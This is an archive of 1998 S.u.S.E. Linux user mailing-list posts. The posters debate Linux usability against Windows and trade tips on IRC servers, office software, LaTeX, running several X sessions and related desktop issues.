bail them out, or they turn to Usenet or (more likely) AOL.

OK, you reply, Linux is the same situation. Well, not exactly. The user 
base isn't comparable, so I'm not likely to be able to turn to the 
techie next door. Leaves me with Usenet or this group--smart and 
helpful people, yes, but not many of you. Installs of new apps (YaST 
aside) aren't of the "click install" flavor; never mind compiling and 
installing.

So, I suggest that Bill G's success is a self-fulfilling prophecy. 
Linux will never, ever reach the point of offering the point-and-click 
convenience that ordinary users (pop, mom, _and_ the folks at the 
office) need and demand. If Linux ever does achieve such a thing, I 
wonder how the current hard core Linux folks will feel about that?

Howard Arons

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From subb3@ibm.net Sun Jun 28 14:15:25 1998
From: subb3@ibm.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] IRC Channel
Date: Sun, 28 Jun 1998 10:15:25 -0400
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I found an IRC channel for #suse-linux on the IRCNET.
If you would like to discuss in real-time about SuSE, it is not a bad
place.

Here is the server, I connected to.

irc.anet-chi.com

The following are the other IRCNET servers

irc.anet.com (0) Illinois, Texas, Missouri
 *.webbernet.net (1) Web Net Worldwide
  *.stealth.net (2) [ircd.stealth.net] Stealth - New York, USA
   ircd.portal.ru (3) JSC "Teleport-TP", Portal Network
    irc.portal.ru (4) [ircd.portal.ru] JSC "Teleport-TP", Portal Network

   irc.ncal.verio.net (3) Verio - Northern California
    ircnet.sprynet.com (4) SpryNet IRCNet Server
  *.lv (2) [ircd.lvnet.lv] LvNet-Teleport, Riga, Latvia
  *.race.u-tokyo.ac.jp (2) [race-server.race.u-tokyo.ac.jp] RACE,
University
   irc.otemachi.wide.ad.jp (3) WIDE Project Otemachi NOC, Japan
    irc.rcac.tdi.co.jp (4) TDI RCAC, Kyoto, Japan
     irc.kyoto.wide.ad.jp (5) WIDE Project Kyoto NOC, Japan
      irc.karrn.ad.jp (6) KARRN Hakozaki NOC
      endo.wide.ad.jp (6) WIDE-NOC of Fujisawa, Japan
    irc.tokyo.wide.ad.jp (4) WIDE Project Tokyo NOC, Japan
    *.dti.ne.jp (4) [irc.dti.ne.jp] Akasaka Tokyo, Japan
    wsclark.huie.hokudai.ac.jp (4) [133.87.128.10] Hokkaido
University,Sapporo,Japan
     irc.kyutech.ac.jp (5) [131.206.1.101] Kyushu Institute of
Technology. ,J
     *.tohoku.ac.jp (5) [130.34.11.89] Tohoku University, Japan
  *.uni.net (2) [irc.fun.uni.net] UniNet Rome, Italy
  irc.cifnet.com (2) Chicago InterFlash Networking, Inc.
  *.NL.net (2) [ircd.NL.net] NLnet Amsterdam, The Netherlands
   eris.bt.net (3) British Telecom IRC Routing Server
    irc.warwick.ac.uk (4) University of Warwick server
    chat.btinternet.com (4) BT Internet Chat
    irc.netcom.net.uk (4) [194.42.224.135] NETCOM Internet Ltd, UK
    irc.u-net.com (4) U-Net Internet IRCNet Server
    chat.bt.net (4) [194.73.82.246] British Telecom Public IRC Server
    irc.easynet.co.uk (4) [banana.irc.easynet.net] Easynet, London, UK
   *.ch (3) [ircd.span.ch] SPAN Swiss Private Access Network
   irc2.sci.kun.nl (3) University of Nijmegen, The Netherlands
    *.se (4) [irc.ludd.luth.se] Top of the world, Lulea, Sweden
     *.fi (6) [ircd.funet.fi] Finnish University and Research Ne
      *.pl (7) [absolut.sgh.waw.pl] Warsaw, Poland
      *.no (7) [irc.ifi.uio.no] Universitas Osloensis
      irc.isnet.is (7) ISnet, Iceland
      *.teliafi.net (7) [irc.teliafi.net] Telia Finland
      *.ee (7) [irc.estpak.ee] Estpak Data, Tallinn, Estonia
      irc.ru (7) [skraldespand.demos.su] Russian IRC server, Demos-
     *.lt (5) [193.219.61.14] Lithuanian IrcNET Uplink Server, L
    *.be (4) [ircd.belnet.be] BELNET routing server, Brussels
     irc.skybel.net (5) Skynet SA/NV IRC Server
   *.unipi.it (3) [irc.ccii.unipi.it] University of Pisa, Italy
   *.DE (3) [irc.gmd.de] [irc.gmd.de] GMD, St.Augustin, German
    luisvive.euiti.upv.es (5) [UPV]-= luisvive.euiti.upv.es =- SPAiN
    irc.cis.vutbr.cz (5) IRC server of CIS FEI VUT Brno
     irc.felk.cvut.cz (6) [147.32.80.15] Technical University of Prague,
CVU
     irc.vsp.cz (6) [195.113.118.2] FRIT VSP Hradec Kralove
    *.at (4) [irc.wu-wien.ac.at] [137.208.127.3 6667] Vienna, A
     *.tin.it (5) [ircd.tin.it] - Telecom Italia Net - Italy
      irc.flashnet.it (6) - Flashnet Telecomunicazioni Spa - Italy
     *.sk (5) [netlab.irc.sk] NETLAB plus, ISP in Slovakia
     *.arnes.si (5) [irc.arnes.si] ARNES IRC Server
      irc.uni-mb.si (6) University of Maribor IRC Server
    *.fr (4) [sil.polytechnique.fr] Ecole Polytechnique, France
     *.grolier.net (5) [hub.grolier.net] IRCNet - Grolier/Club-Internet
      irc.twiny.net (6) [195.101.196.14] Twiny - Paris La Defense,
France
      *.insat.com (6) [194.51.149.1] Societe INSAT S.A.
    *.hu (5) [irc.bme.hu] Technical University of Budapest
    *.dknet.dk (5) [irc.dknet.dk] Copenhagen, Denmark
     sunsite.auc.dk (6) SunSITE Denmark, Aalborg University
   ircnet.demon.co.uk (3) Demon Internet Ltd, London, UK.
   *.il (3) [ircd.ibm.net.il] IBM, Israel
   *.xs4all.nl (3) [irc.xs4all.nl] XS4ALL, Networking for the Masses
   *.gr (3) [irc.ee.auth.gr] Aristotle uni. of Thessaloniki,
   irc.sci.kun.nl (3) University of Nijmegen, The Netherlands
  ircnet.irc.aol.com (2) [152.163.208.18] America Online
  *.ca (2) [ircnet.idirect.ca] Internet Direct - Toronto, Can
  *.au (2) [flute.telstra.net.au] TI IRC Server

Hope this helps.

Regards,

Subba Rao
subb3(a)ibm.net

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From tanc@cuug.ab.ca Sun Jun 28 14:32:40 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Matrox m3D
Date: Sun, 28 Jun 1998 08:32:40 -0600
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Does anyone know if the Matrox m3D is supported for OpenGL stuff on Linux? =20

Regards,
C. J. Tan
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            "An engineer made programmer is one=20
                who attempts to solve a problem,
              A programmer made engineer is one=20
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From mhtexcollins@ccms.net Sun Jun 28 14:50:11 1998
From: mhtexcollins@ccms.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 09:50:11 -0500
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OH ye of little faith.  Have you looked at caldera?

Howard Arons wrote:
>=20
> So, I suggest that Bill G's success is a self-fulfilling prophecy.
> Linux will never, ever reach the point of offering the point-and-click
> convenience that ordinary users (pop, mom, _and_ the folks at the
> office) need and demand. If Linux ever does achieve such a thing, I
> wonder how the current hard core Linux folks will feel about that?
>=20
> Howard Arons
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IMHO BEST Beginners book so far. Sams' Teach Yourself Linux in 24 hours.
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From hattons@cpkwebser5.ncr.disa.mil Sun Jun 28 14:50:40 1998
From: hattons@cpkwebser5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 10:50:40 -0400
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Brian Jones wrote:

[Agree, Snip, agree, snip]

> There have been complaints about the English in the SuSE book -
> if there is a part that is hard to understand because of that, it would
> take seconds for a native English speaker to correct it & when I get my
> copy back I may do just that.

Brian,

RE the snipped stuff:

I fully agree with you.  The reason my boss is an M$ minion is because his
Ph.D. is in Biochemistry.  He has an IQ of at least 145.  To him using an
OS that he needs to spend hours just trying to figure out how to get the
resolution on the display correct is a complete waste of time.  He wants to
set up systems that the customer can use.  He also wants to hire people with
degrees in English, psychology, etc., and teach them enough about the
computer systems that they can master the development tools necessary for
them to produce the final system for the customer.  One woman in our MCSE
course has a degree in elementary education.  She is catching onto M$ very
quickly.  If I put her in front of a Linux box with just the command line
she would be completely lost.

I do my development on NT systems at work and think they are as unstable as
DOS.  It is not clear whether the problems result form NT being bad or the
applications running on NT.  At first NT seems easier to use when running
installs and configuring systems.  Once I get down in the weeds I begin the
appreciate the Unix philosophy.  Unix is far more flexible.  My biggest
complaint with NT has nothing to do with ease of use, and everything to do
with  open systems.  Most end users and many systems administrators don't
see the value of open system standards.  People begin to really appreciate
these issues when they are forced to work between incompatible platforms.
Also the far-thinking individuals who understand the long-term implications
of one software vendor controlling the way we use computers and develop
software see that M$ is a very unhealthy thing for the future of computing.

RE the above quoted stuff:

The English *is* a bit odd at times in the book.  I have never found the
English to be the problem when reading the book though.  The problem I have
is that it is not as polished as it could be.  I write documentation at work
because I have to.  I know that the documentation I produce should be
greatly revised by a professional technical writer.  The S.u.S.E. book is a
very good engineer's draft.  I believe that It should be revised by a
technical writer.  These people are experts at communicating ideas.  I am
not trying to discourage the the authors of the S.u.S.E. book.  I could
never write such a book in my native language.  These guys wrote the book in
a language which is not their native language.  My hat is off to them.  I am
not criticizing to condemn, I am criticizing to improve.

Steve

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THE WORD OF GOD IS THE CREATION WE BEHOLD: And it is in this word, which no
human invention can counterfeit or alter, that God speaketh universally to
man. - Thomas Paine,  _The Age of Reason_

[L]et [the charter] be brought forth placed on the divine law, the word of
God; let a crown be placed thereon, by which; the world may know, that so
far as we approve of monarchy, that in America the law is king.  - Thomas
Paine, *Common Sense*, February 14th, 1776

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From mickael@bilbo.bagend.suse.de Sun Jun 28 15:58:27 1998
From: mickael@bilbo.bagend.suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Where's Applix?
Date: Sun, 28 Jun 1998 17:58:27 +0200
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On Sun, 28 Jun 1998, Howard Arons wrote:

> Alas, my install has the /opt/applix directory structure, but there's 
> no "applix" executable there. AFAIK there is _no_ executable in the 
> install at all. Some demo :-( I really don't know what to make of this.

How many packages did you install ? You have to install both the apxengdm
for english language support and the Applixware demo main package called
axdemo.

Hope this might help.

Mickaël Rémond

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From misc.word.corp@pobox.com Sun Jun 28 16:07:48 1998
From: misc.word.corp@pobox.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Where's Applix?
Date: Sun, 28 Jun 1998 12:07:48 -0400
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If I remember correctly, S.u.S.E. has included the Applix binary as one
of the menu options in FWM2/Afterstep.

Try launching Afterstep as your windows manager, and look through the
menu selections. I believe that the binary is located under the
"commercial" heading.

Hope this helps.

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From leonmcclatchey@homemail.com Sun Jun 28 16:15:58 1998
From: leonmcclatchey@homemail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 11:15:58 -0500
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Joseph Beaman wrote:

> I agree.  I am new to the Linux OS, and while I am very impressed with many
> of its features, the learning curve is very steap.  I, myself, am a Systems
> Developer (working mostly with Win32 operating systems) and I still have a
> hard time getting Linux to do everything I want it to.  Though, I will say
> this much for Linux--it's a lot more fun than WinNT :-)
>

hehe, I agree with you on that one:-)  Actually, I've had better luck getting
things to work in Linux then I have in either Win95 or OS/2 Warp 4!  About the
only thing I miss in Linux is some of the applications that I use on a regular
basis in the other two (Mainly OS/2) operating systems.

As far as networking goes, Linux is a lot easier to set up, but it is still a
bit weak on UI as far as applications such as Wordprocessors goes. (I still
like IBM Works for Letters and things like that).  Sure, there is a lot of
editors in Linux, but as far as formating a ascii file and converting to a
postscript for printing, the learning curve on that is very steep:-(  But, I
have been exploring Xemacs and from what I've seen of that?


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Leon McClatchey
leonmcclatchey(a)homemail.com
Linux User 78912
(Linux Box)

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From misc.word.corp@pobox.com Sun Jun 28 16:23:21 1998
From: misc.word.corp@pobox.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 12:23:21 -0400
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If we judge the S.u.S.E. manual on the basis of "standard" (read:
British/American) English, it make come up wanting in the grammatical
department, but S.u.S.E. is a continental-European distro (and is very
popular over there, as we know). Among non-British or non-American users
of English, clarity counts more than adherence to "correct" British or
American-English grammar.

S.u.S.E.'s manual goes the extra step, however. Its writers have a
humorous and light-hearted approach to Linux -- and their enthusiasm
springs from the page. You can see that the S.u.S.E. staff think Linux
is great fun, and this ingredient -- fun -- is what's sorely lacking
from M---S---T products. 

The manual is also complete on other topics not covered by the manuals
of other distros, such as emulators, LaTeX, window managers, and the
like. You gotta love it.

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From satan3@home.com Sun Jun 28 16:29:24 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 11:29:24 -0500
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What you all need to take into consideration is that linux is a unix
clone.  Unix systems need to be ADMINISTERED, they were never meant to
be desktop boxes.  Joe User on a unix network runs his applications, but
the sysadmin is responsible for all the administration tasks.  Well, if
you are running a unix box at home, regardless of whether it's freebsd,
linux or whatever, you have willingly chosen to become a unix system
administrator.  I don't understand all the whining about something
you've voluntarily chosen to do.  If people come to linux expecting a
windows that isn't windows, they are going to be disappointed and
frustrated.

Leon McClatchey wrote:
>=20
> Joseph Beaman wrote:
>=20
> > I agree.  I am new to the Linux OS, and while I am very impressed with ma=
ny
> > of its features, the learning curve is very steap.  I, myself, am a Syste=
ms
> > Developer (working mostly with Win32 operating systems) and I still have a
> > hard time getting Linux to do everything I want it to.  Though, I will say
> > this much for Linux--it's a lot more fun than WinNT :-)
> >
>=20
> hehe, I agree with you on that one:-)  Actually, I've had better luck getti=
ng
> things to work in Linux then I have in either Win95 or OS/2 Warp 4!  About =
the
> only thing I miss in Linux is some of the applications that I use on a regu=
lar
> basis in the other two (Mainly OS/2) operating systems.
>=20
> As far as networking goes, Linux is a lot easier to set up, but it is still=
 a
> bit weak on UI as far as applications such as Wordprocessors goes. (I still
> like IBM Works for Letters and things like that).  Sure, there is a lot of
> editors in Linux, but as far as formating a ascii file and converting to a
> postscript for printing, the learning curve on that is very steep:-(  But, I
> have been exploring Xemacs and from what I've seen of that?
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From leonmcclatchey@homemail.com Sun Jun 28 16:31:37 1998
From: leonmcclatchey@homemail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FYI Linus Trovalds in InforWorld
Date: Sun, 28 Jun 1998 11:31:37 -0500
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Michael Lankton wrote:

> Leon McClatchey wrote:
> > Steven T. Hatton wrote:
> >
> > >  I also used xemacs to touch it up.  IMHO it is a wonderful tool.
>
> A bit bloated for a text editor for my tastes.  I realize that emacs is
> much more than just a text editor, but I prefer Visual Slick Edit for
> programming and vi for text editing.
>

What would you recommend for writing letters:-)  I've fell a bit behind on my=
 Land
Mail since I've been playing with Linux and this little network I've got going
here:-)  When I was using OS/2 on a more regular basis, I used IBM Works whic=
h I
liked because I could format it (created a template for my letters and then j=
ust used
that to start a new letter).  I also like it because it was very user friendl=
y as far
as printing color (which I've yet to do from a Linux application) and importi=
ng
pictures and things.  As far as programming goes, about all I've been doing a=
long
those lines is a few scripts which I've found the internal editor for "mc" to=
 be well
suited to my needs:-)

> Out of courtesy for others you should limit your sig to 4 lines, however
> you can have the complete King James bible as your sig if you want.

I can dig that, I used to run a BBS (The Twilight Zone) and used to run "Fido=
net"
mail, and my connection was a long distance connection, needless to say, what=
ever
increased the "bandwidth" increased the "phone bill":-(

At any rate, the reason I was wondering, was because I did like an option tha=
t I had
with pmmail in os/2 (but haven't found a suitable application yet in Linux) w=
as to
add taglines at the end of a message. The application I figured would add may=
be 2 or
3 addtional lines to the bottom of a message?

Meanwhile, I got it work on the Win95 machine, but haven't been able to get i=
t to
work on my Linux box.  Everytime I send a message out, Netscape sends me a co=
py
unless I specifically go into the address option and remove my name.  (Don't =
have any
real affect on anything but my local machines since it sends the copy to the =
"local
user".  (At least sendmail is configured properly:-)


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Leon McClatchey
leonmcclatchey(a)homemail.com
Linux User 78912
(Linux Box)

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From tanc@cuug.ab.ca Sun Jun 28 16:35:17 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 10:35:17 -0600
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I have seen many people mentioning about word processors on this list and
I am just curious how many people are LaTeX or TeX or *roff users.  If you
are writing scientific documents, I don't think there is any word=20
processors in the market that can beat LaTeX which may people do not
consider as a word processor but rather as a text processor.  If you are
writing regular documents, like company letters, reports, or articles, I
think LaTeX is not too difficult to learn either.  Once you get hooked
onto it, you'll probably find that it's very powerful. =20

I was introduced to LaTeX by a Physics professor back when I was a first
year engineering student.  But I didn't start using it till about a year
ago.  Now, LaTeX is what I use most!  Ocassionally, I may use FrameMaker. =20

If you are looking for a low cost solution for creating documents, I don't
think you can beat HTML and LaTeX.  And I don't think either one of them
is hard to learn.  Go out there and pick up books published by
Springer-Verlag and you'll find a lot of them are published using LaTeX.
If you are a computer science student or engineering student, I doubt
you'll ever regret learning it.

Regards,
C. J. Tan

On Sun, 28 Jun 1998, Leon McClatchey wrote:

>=20
> Joseph Beaman wrote:
>=20
> > I agree.  I am new to the Linux OS, and while I am very impressed with ma=
ny
> > of its features, the learning curve is very steap.  I, myself, am a Syste=
ms
> > Developer (working mostly with Win32 operating systems) and I still have a
> > hard time getting Linux to do everything I want it to.  Though, I will say
> > this much for Linux--it's a lot more fun than WinNT :-)
> >
>=20
> hehe, I agree with you on that one:-)  Actually, I've had better luck getti=
ng
> things to work in Linux then I have in either Win95 or OS/2 Warp 4!  About =
the
> only thing I miss in Linux is some of the applications that I use on a regu=
lar
> basis in the other two (Mainly OS/2) operating systems.
>=20
> As far as networking goes, Linux is a lot easier to set up, but it is still=
 a
> bit weak on UI as far as applications such as Wordprocessors goes. (I still
> like IBM Works for Letters and things like that).  Sure, there is a lot of
> editors in Linux, but as far as formating a ascii file and converting to a
> postscript for printing, the learning curve on that is very steep:-(  But, I
> have been exploring Xemacs and from what I've seen of that?
>=20
> --
> cya l8r
> Leon McClatchey
> leonmcclatchey(a)homemail.com
> Linux User 78912
> (Linux Box)
>=20
>=20
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From tanc@cuug.ab.ca Sun Jun 28 16:36:34 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 10:36:34 -0600
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Completely agree!

On Sun, 28 Jun 1998, misc.word.corp wrote:

>=20
> If we judge the S.u.S.E. manual on the basis of "standard" (read:
> British/American) English, it make come up wanting in the grammatical
> department, but S.u.S.E. is a continental-European distro (and is very
> popular over there, as we know). Among non-British or non-American users
> of English, clarity counts more than adherence to "correct" British or
> American-English grammar.
>=20
> S.u.S.E.'s manual goes the extra step, however. Its writers have a
> humorous and light-hearted approach to Linux -- and their enthusiasm
> springs from the page. You can see that the S.u.S.E. staff think Linux
> is great fun, and this ingredient -- fun -- is what's sorely lacking
> from M---S---T products.=20
>=20
> The manual is also complete on other topics not covered by the manuals
> of other distros, such as emulators, LaTeX, window managers, and the
> like. You gotta love it.
>=20
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From satan3@home.com Sun Jun 28 16:55:35 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FYI Linus Trovalds in InforWorld
Date: Sun, 28 Jun 1998 11:55:35 -0500
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I use Applix.  I have used Staroffice, and I like Applix better.  I
haven't used Wordperfect so I don't know about it.  I like wysiwyg word
processors for stuff like that.

Leon McClatchey wrote:

> What would you recommend for writing letters:-)  I've fell a bit behind on =
my Land
> Mail since I've been playing with Linux and this little network I've got go=
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From leonmcclatchey@homemail.com Sun Jun 28 17:03:09 1998
From: leonmcclatchey@homemail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 12:03:09 -0500
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Michael Lankton wrote:

> What you all need to take into consideration is that linux is a unix
> clone.  Unix systems need to be ADMINISTERED, they were never meant to

I'm quite aware of that.  I figured that out a couple of years ago when I set=
 up RH
Linux on my pc.  And as far as that goes, I quite enjoyed the administrative =
tasks
or running the system.  Then about 6 months ago, I got suse 5.1 and reinstall=
ed
Linux on my pc.  The only real difference between now and then is that when I=
 first
tried Linux, I only had 1 machine and that was set up to run either Linux or =
OS/2.
Well, now my "main server" is still a combination of OS/2 and Linux, but I'm
finding myself more in Linux and less in OS/2. (does that say something:-).  =
And
I've been working on perfecting the network between Linux and Win95 (never co=
uld
get os2 to working along those lines).  The result of all of that is that I h=
ave
learned quite a bit about what is involved in truly maintaining a system:-) (=
Still
got a ways to go too:-)

> linux or whatever, you have willingly chosen to become a unix system
> administrator.  I don't understand all the whining about

So who is whining?  Linux has something that I have been looking for for a lo=
ng
time!  It has the capability of "separating" the users which other operating
systems do not have.  My son likes to experiment a bit whenever he gets on the
keyboard.  And there has been more than one time that I have gotten on in eit=
her
os2 or win95 and found the system layout changed.  In Linux I don't have to w=
orry
about that, he can change his "desktop" or whatever and not have any affect on
anyone else who uses the pc:-)

I plan to get a 3rd machine in the near future which will be a dedicated os2
machine.  So my plans at this point are to have a total of 3 machines, Linux,
Win95, and Os/2.  The main thing in all of that, is that the linux box will b=
e the
main network "boss".  The reason for that is quite obvious at this point in
time:-)  But My daughter likes Win95, my son is quite adaptable, he's at the =
point
where he can get around comfortably in all three operating systems (btw he's =
12).
My wife likes OS/2 for the most part, though she is learning to get around in=
 Xfree
as well:-)

> something
> you've voluntarily chosen to do.  If people come to linux expecting a
> windows that isn't windows, they are going to be disappointed and
> frustrated.

Either that or have a lot of fun "overcoming obstacles":-)


--
cya l8r
Leon McClatchey
leonmcclatchey(a)homemail.com
Linux User 78912
(Linux Box)

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From jpcowh01@ox.slug.louisville.edu Sun Jun 28 17:08:33 1998
From: jpcowh01@ox.slug.louisville.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] multiple X
Date: Sun, 28 Jun 1998 13:08:33 -0400
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> How can I start multiple X sessions?  I want to have an X session started
> on VT7, another on VT8.  Has anyone done this before? =20
>=20
> Any help will be greatly appreciated.
>=20
>=20
> Regards,
> C. J. Tan

tartx -- :0  # VT7

tartx -- :1  # VT8

tartx -- :2  # VT9

                                                                             =
                                                                             =
      Jonathan

--=20
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From jpcowh01@ox.slug.louisville.edu Sun Jun 28 17:20:42 1998
From: jpcowh01@ox.slug.louisville.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] dd question
Date: Sun, 28 Jun 1998 13:20:42 -0400
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>=20
> No, I guess I didn't phrase my question very well.  I wanted to know how
> to write a file to a tape spanning across more than 1 tape using 'dd'.
>=20
>=20
> Regards,
> C. J. Tan
>=20

I believe that you'll have to manually keep track of how many blocks are bein=
g stored on you medium, then skip that many blocks to write the next tape, th=
en when constructing the file together, just take all the fragments and appen=
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From misc.word.corp@pobox.com Sun Jun 28 17:27:45 1998
From: misc.word.corp@pobox.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FYI Linus Trovalds in InforWorld
Date: Sun, 28 Jun 1998 13:27:45 -0400
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LyX, a quasi-WYSIWYG front-end to LaTeX, is probably your best bet for
letters.

The LyX developers don't like some aspects of WYSIWYG word processers,
hence my use of "quasi." (For instance, LyX automatically takes care of
adding spaces between paragraphs and the like, once you've configured
it.) It's a different word processor "paradigm" (although I hate this
word) altogether.

The version of LyX included with 5.2 offers a nice letter template. Just
fill in the blanks with your name and address.

If you don't need dead-tree hard copies (i.e., you just want to edit
e-mail or online documents), check out the editor vi (or its vamped-up,
GUI-fied version, VIM 5.1). It sizzles.

-- Glenn --
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From brian.jones3@virgin.net Sun Jun 28 17:36:53 1998
From: brian.jones3@virgin.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 18:36:53 +0100
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Michael Lankton wrote:
> 
> What you all need to take into consideration is that linux is a unix
> clone.  Unix systems need to be ADMINISTERED, they were never meant to
> be desktop boxes.  Joe User on a unix network runs his applications, but
> the sysadmin is responsible for all the administration tasks.  Well, if
> you are running a unix box at home, regardless of whether it's freebsd,
> linux or whatever, you have willingly chosen to become a unix system
> administrator.  I don't understand all the whining about something
> you've voluntarily chosen to do.  If people come to linux expecting a
> windows that isn't windows, they are going to be disappointed and
> frustrated.

Who's whining ? All I've seen are people offering constructive comments
on how to enable a broader spectrum of users to become involved in the
community. That and enthusiasts enjoying each new challenge.

I have to confess, though, that I hadn't realised Windows has evolved to
such a level of sophistication and robustness that it doesn't require
system administration.

Brian.
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From brauki@cityweb.de Sun Jun 28 17:37:26 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] multiple X
Date: Sun, 28 Jun 1998 19:37:26 +0200
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C. J. Kenneth Tan wrote:
> 
> How can I start multiple X sessions?  I want to have an X session started
> on VT7, another on VT8.  Has anyone done this before?
> 
> Any help will be greatly appreciated.
> 

I remembered that this was easy as nothing, and that I stored the info.
I went digging for about the next hour, because it interested me again.
Nothing in the SDB, not much in my stored mails, but on a tiny note
paper:

here we go:

tartx -- :1 -bpp 8

will start another X-server (256 colors) on vt08 [ctrl + alt + f8] If
you want a different color depth, make sure there is an appropiate
modeline in /etc/xf86config (or however this darn file is called).

I found another hint:

ee /usr/X11R6/lib/X11/xdm/Xservers:

you can start further x-servers there, but I was *not* so successful
like above. I dug through some man pages without success. So, that's all
you may squeeze out of me. ;-)

Jürgen


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From nelsen@telusplanet.net Sun Jun 28 17:42:53 1998
From: nelsen@telusplanet.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Wrap
Date: Sun, 28 Jun 1998 11:42:53 -0600
Message-ID: <98Jun28.122744-0600_mdt.267929-24066+7@mail.telusplanet.net>
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At 6/28/1998, you wrote:
>
 can you tell eml somehow to issue line breaks? your lines
>look endless, sometimes hard to read.
>
>-- 
Newbie wonders; Are there not Linux mail and news clients that feature word
wrap?

Dave
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From tanc@cuug.ab.ca Sun Jun 28 18:39:28 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Wrap
Date: Sun, 28 Jun 1998 12:39:28 -0600
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Pine has word wrap. :-)=20

On Sun, 28 Jun 1998, David Nelsen wrote:

>=20
> At 6/28/1998, you wrote:
> >
>  can you tell eml somehow to issue line breaks? your lines
> >look endless, sometimes hard to read.
> >
> >--=20
> Newbie wonders; Are there not Linux mail and news clients that feature word
> wrap?
>=20
> Dave
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From fmiller@lightlink.com Sun Jun 28 18:50:18 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Q.Where do I find libxdelta.so.O
Date: Sun, 28 Jun 1998 18:50:18 +0000
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>>>>>>>>>>>>>>>>>> Original Messsage <<<<<<<<<<<<<<<<<<

On 28/06/98, 07:51:05, Terry Richards  wrote 
regarding [S.u.S.E. Linux] Q.Where do I find libxdelta.so.O:

> Hi all,
> I am tring to install gimp 1.0 on suse 5.2 Demo. The only thing I need
> now is libxdelta.so.O, but I don't know where to find it. Does anybody
> know what package it is in?tyvm.

Terry, did you use Yast to install Gimp?  If not, I'd recommend it.  
Any additional files required can be had with the "auto" included 
function in Yast.  Yast is a GREAT program!

Fred

Systems Admin.
Cornell Univ. Press Services
fm(a)cupserv.org
fmiller(a)lightlink.com

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From billmadsen@worldnet.att.net Sun Jun 28 18:56:35 1998
From: billmadsen@worldnet.att.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] What is Infoblock?
Date: Sun, 28 Jun 1998 18:56:35 +0000
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Page 34 of the SUSE manual (5.2) tells the reader to look up further
information about partitioning in Infoblock section IB5, page 56. I
find no reference to Infoblock anywhere in the manual.  Can someone
tell me what and where it is?

Thanks in advance.

Bill Madsen in  St. Louis
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From fmiller@lightlink.com Sun Jun 28 19:16:00 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 19:16:00 +0000
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>>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<<

On 28/06/98, 12:36:53, Brian Jones  wrote 
regarding Re: [S.u.S.E. Linux] thinking about suse:

> Michael Lankton wrote:
> >
> > What you all need to take into consideration is that linux is a unix
> > clone.  Unix systems need to be ADMINISTERED, they were never meant 
to
> > be desktop boxes.  Joe User on a unix network runs his applications, 
but
> > the sysadmin is responsible for all the administration tasks.  Well, 
if
> > you are running a unix box at home, regardless of whether it's 
freebsd,
> > linux or whatever, you have willingly chosen to become a unix system
> > administrator.  I don't understand all the whining about something
> > you've voluntarily chosen to do.  If people come to linux expecting 
a
> > windows that isn't windows, they are going to be disappointed and
> > frustrated.

> Who's whining ? All I've seen are people offering constructive 
comments
> on how to enable a broader spectrum of users to become involved in the
> community. That and enthusiasts enjoying each new challenge.

Correct!  NO "whining," only want to see Linux get better!  And, from 
a couple of discussions I've had with the folks at SuSE, it WILL.

> I have to confess, though, that I hadn't realized Windows has evolved 
to
> such a level of sophistication and robustness that it doesn't require
> system administration.

Yes....My thoughts as well!  Keeping NT up and running over the past 
2+ years at work isn't a daily stuggle, but close.  I removed Exchange 
Server (one of MickySofts biggest blunders) and replaced it with 
SL-Mail, who is by the way, looking at porting to Linux.  It's a VERY 
good mail server.  I haven't had Linux up very long, true, however, 
it's been MUCH more solid since I installed it than NT ever was!  I 
installed it without "cracking the manual," and decided to keep it. 

By the way, there is the unfortunate part of StarOffice that 
(presently) only supports postscript printers, which I'll work around 
one way or the other, but so far (since I installed it in the wee 
hours of this morning), I'm VERY impressed with it!   It is quicker 
under Linux than under Win95 or NT.  Someone here recently complained 
about it being slow to come up.  It's up and running in around 10 
secs. on this box, a Tyan S1846 BX MOB with 333Mhz. CPU.

Regards,

Fred

Systems Admin.
Cornell Univ. Press Services
fm(a)cupserv.org
fmiller(a)lightlink.com

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From brian.jones3@virgin.net Sun Jun 28 19:17:46 1998
From: brian.jones3@virgin.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 20:17:46 +0100
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Chris Herrnberger wrote:

> for us in the real world with a P133/32 megs ram it takes over a minute
> to even get to the spash screen and no other programs up. I use it and
